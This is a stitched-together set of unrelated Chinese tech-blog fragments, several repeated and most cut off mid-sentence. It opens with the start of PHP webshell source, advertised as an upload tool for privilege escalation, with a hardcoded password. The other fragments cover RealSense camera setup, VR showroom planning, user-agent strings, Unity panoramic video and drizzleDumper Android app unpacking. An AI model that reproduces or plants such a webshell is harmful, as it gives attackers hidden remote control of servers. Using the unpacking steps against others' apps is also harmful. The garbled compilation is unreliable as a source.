上传利器phpwebshell 提权关注我获取更多资源 $password="68xi";//设置密码 error_reporting(E_ERROR);header("content-Type:text/html;charset=gb2312");set_time_limit(0); functionRoot_GP(&$array){ while(list($key,$var)=each($array)) { if((strtoupper($key)!=$key||''.intval($key)=="$key")&&$key!='argc'&&$key!='argv')
第一章IntelD405运行环境——Realsense-viewer文章目录第一章IntelD405运行环境——Realsense-viewer一、开盲盒二、ubuntu环境下的realsense-viewer安装一、开盲盒某东购入的IntelRealsenseD405,大概就是这个样子。因为已经用过一段时间了,写文章的时候拍的图,盒子已经有些旧了…我用磁力座固定了我的相机。(相机本身就留有标准的螺母孔)D405采用的是Micro-BUSB接口,需要专用的数据线。其他具体参数可以参考官网本文不做赘述。IntelD405二、ubuntu环境下的realsense-viewer安装Intel提供两
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一、需求:在线展厅,用户可以在手机类似微信小程序上通过陀螺仪或者拖动来360度全景参观展厅,这个VR展厅里会有一些信息点,点击之后可以呈现更多信息(视频,图文等)。需进一步明确客户的真实需求:目的和目标是否需要虚拟人物移动:第一人称、第三人称是否全场景建模(简单的全景不需要)交互功能及数量周期和预算二、技术方案方案1:WebGL引擎three.js可交互。方案2:WebGL Unity可交互。转换效率低,消耗资源大,加载慢。方案3:Pano2vr可简单热点切换场景,不可移动。不需要代码。点击热点跳转到哪个场景URL。输出成HTML5静态网页,核心库pano2vr_player.js,其它:专用
一、需求:在线展厅,用户可以在手机类似微信小程序上通过陀螺仪或者拖动来360度全景参观展厅,这个VR展厅里会有一些信息点,点击之后可以呈现更多信息(视频,图文等)。需进一步明确客户的真实需求:目的和目标是否需要虚拟人物移动:第一人称、第三人称是否全场景建模(简单的全景不需要)交互功能及数量周期和预算二、技术方案方案1:WebGL引擎three.js可交互。方案2:WebGL Unity可交互。转换效率低,消耗资源大,加载慢。方案3:Pano2vr可简单热点切换场景,不可移动。不需要代码。点击热点跳转到哪个场景URL。输出成HTML5静态网页,核心库pano2vr_player.js,其它:专用
1、IE10Mozilla/5.0(MSIE10.0;WindowsNT6.1;Trident/5.0)2、iPhone6Mozilla/5.0(iPhone;CPUiPhoneOS6_0likeMacOSX)AppleWebKit/536.26(KHTML,likeGecko)Version/6.0Mobile/10A5376eSafari/8536.253、iPadMozilla/5.0(iPad;CPUOS6_0likeMacOSX)AppleWebKit/536.26(KHTML,likeGecko)Version/6.0Mobile/10A5376eSafari/8536.254、A
1、IE10Mozilla/5.0(MSIE10.0;WindowsNT6.1;Trident/5.0)2、iPhone6Mozilla/5.0(iPhone;CPUiPhoneOS6_0likeMacOSX)AppleWebKit/536.26(KHTML,likeGecko)Version/6.0Mobile/10A5376eSafari/8536.253、iPadMozilla/5.0(iPad;CPUOS6_0likeMacOSX)AppleWebKit/536.26(KHTML,likeGecko)Version/6.0Mobile/10A5376eSafari/8536.254、A
1.准备好全景视频,看起来是这样子的。2.新建一个Materal注意选择Shader如上图,RenderQueue选择AlphaTest,因为我们要在视频前面放置按钮,UI的渲染值为3000,所以可以避免UI不显示的问题,这样UI会一直显示,我们可以通过缩放的方式,让UI显示出来。3.新建一个Sphere 注意在Sphere下,新建组件VideoPlayer,将视频拖拽到VideoClip中。这个Sphere可以设置的大一点,方便我们将XROrigin放进入,方便测试吧。 这时候可以直接在PC上测试,在Scene窗口,球外面是下面这个样子的。 然后控制摄像机,移动到球内部就是下面的样子。4.
1.准备好全景视频,看起来是这样子的。2.新建一个Materal注意选择Shader如上图,RenderQueue选择AlphaTest,因为我们要在视频前面放置按钮,UI的渲染值为3000,所以可以避免UI不显示的问题,这样UI会一直显示,我们可以通过缩放的方式,让UI显示出来。3.新建一个Sphere 注意在Sphere下,新建组件VideoPlayer,将视频拖拽到VideoClip中。这个Sphere可以设置的大一点,方便我们将XROrigin放进入,方便测试吧。 这时候可以直接在PC上测试,在Scene窗口,球外面是下面这个样子的。 然后控制摄像机,移动到球内部就是下面的样子。4.
一、drizzleDumper的下载使用1.上GitHub下载开源的脱壳工具mirrors/DrizzleRisk/drizzleDumper·GitCodedrizzleDumper是一款基于内存搜索的Android脱壳工具。🚀Github镜像仓库🚀源项目地址⬇⬇...https://gitcode.net/mirrors/DrizzleRisk/drizzleDumper?utm_source=csdn_github_accelerator2.在libs目录下选择跟自己系统(命令:adbshellgetpropro.product.cpu.abi)匹配的文件并推送到手机或模拟器中(adb